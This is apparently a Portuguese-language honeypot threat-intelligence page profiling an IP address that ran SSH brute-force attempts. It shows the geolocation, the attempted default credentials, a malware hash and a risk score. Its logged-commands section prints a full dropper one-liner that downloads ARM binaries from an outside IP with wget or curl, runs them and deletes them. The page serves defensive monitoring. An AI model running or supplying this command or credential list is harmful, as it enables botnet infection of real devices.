TROYANOSYVIRUS
Ameaca Ativa • BAIXO

176.65.139.68

Pais de Origem🇱🇺 LU
Primeira Deteccao19/04/2026
Ultima Atividade19/04/2026
ISPOffshore LC
🎯
33
Ataques Totais
🔌
1
Portas
📡
1
Tipos de Ataque
🦠
1
Malware

Geolocalizacao

Pais
🇱🇺 LU
Cidade
Desconhecida
ASN
AS214472
ISP
Offshore LC

Tipos de Ataque

ssh_telnet_honeypot

Portas Atacadas

22

Malware Associado

ac57cd2bb9ed1d4e7357...→

Credenciais Tentadas

🔐admin/12345
2x
🔐root/123456
1x
🔐admin/admin
1x
🔐root/password
1x
🔐root/admin
1x

Comandos Executados

$cd /tmp || cd /var/run || cd /mnt; wget http://194.110.247.62/main_arm -O main_arm || curl -L http://194.110.247.62/main_arm -o main_arm; chmod +x main_arm; ./main_arm SSH; rm -rf main_arm; wget http://194.110.247.62/main_arm5 -O main_arm5 || curl -L http://194.110.247.62/main_arm5 -o main_arm5; chmod +x main_arm5; ./main_arm5 SSH; rm -rf main_arm5; wget http://194.110.247.62/main_arm6 -O main_arm6 || curl -L http://194.110.247.62/main_arm6 -o main_arm6; chmod +x main_arm6; ./main_arm6 SSH; rm -1x

Exposicao Shodan InternetDBShodan

Dados InternetDB, nao em tempo real

Portas
228086
CPEs
cpe:/a:openbsd:openssh:8.9p1cpe:/a:influxdata:influxdb:2.8.0cpe:/o:canonical:ubuntu_linux

Avaliacao de Risco

25
/100
BaixoMedioAltoCritico